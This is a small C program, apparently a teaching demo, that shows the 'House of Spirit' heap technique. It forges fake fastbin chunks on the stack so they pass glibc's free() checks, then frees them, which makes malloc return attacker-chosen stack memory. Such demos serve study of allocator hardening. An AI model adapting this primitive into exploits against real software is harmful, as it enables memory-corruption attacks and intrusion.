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house_of_spirit.c
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house_of_spirit.c
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#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
struct fast_chunk {
size_t prev_size;
size_t size;
struct fast_chunk *fd;
struct fast_chunk *bk;
char buf[0x20]; // chunk falls in fastbin size range
};
int main() {
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
void *ptr, *victim;
ptr = malloc(0x30);
printf("%p\n", &fake_chunks[0]);
printf("%p\n", &fake_chunks[1]);
// Passes size check of "free(): invalid size"
fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes "free(): invalid next size (fast)"
fake_chunks[1].size = sizeof(struct fast_chunk);
// Attacker overwrites a pointer that is about to be 'freed'
ptr = (void *)&fake_chunks[0].fd;
free(ptr);
victim = malloc(0x30);
printf("%p\n", victim);
return 0;
}